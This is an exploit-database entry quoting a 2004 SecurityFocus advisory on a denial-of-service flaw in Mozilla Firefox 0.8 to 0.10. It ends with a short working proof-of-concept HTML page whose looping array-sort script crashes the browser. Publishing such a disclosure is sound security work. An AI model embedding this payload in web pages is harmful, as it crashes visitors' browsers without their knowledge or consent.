Mozilla Firefox 0.8/0.9/0.10 - Infinite Array Sort Denial of Service



EKU-ID: 30151 CVE: OSVDB-ID:
Author: Berend-Jan Wever Published: 2004-11-25 Verified: Verified
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source: https://www.securityfocus.com/bid/11752/info

Mozilla Firefox is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

It is not known if other Mozilla products or Gecko-based browsers are affected by this vulnerability.

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>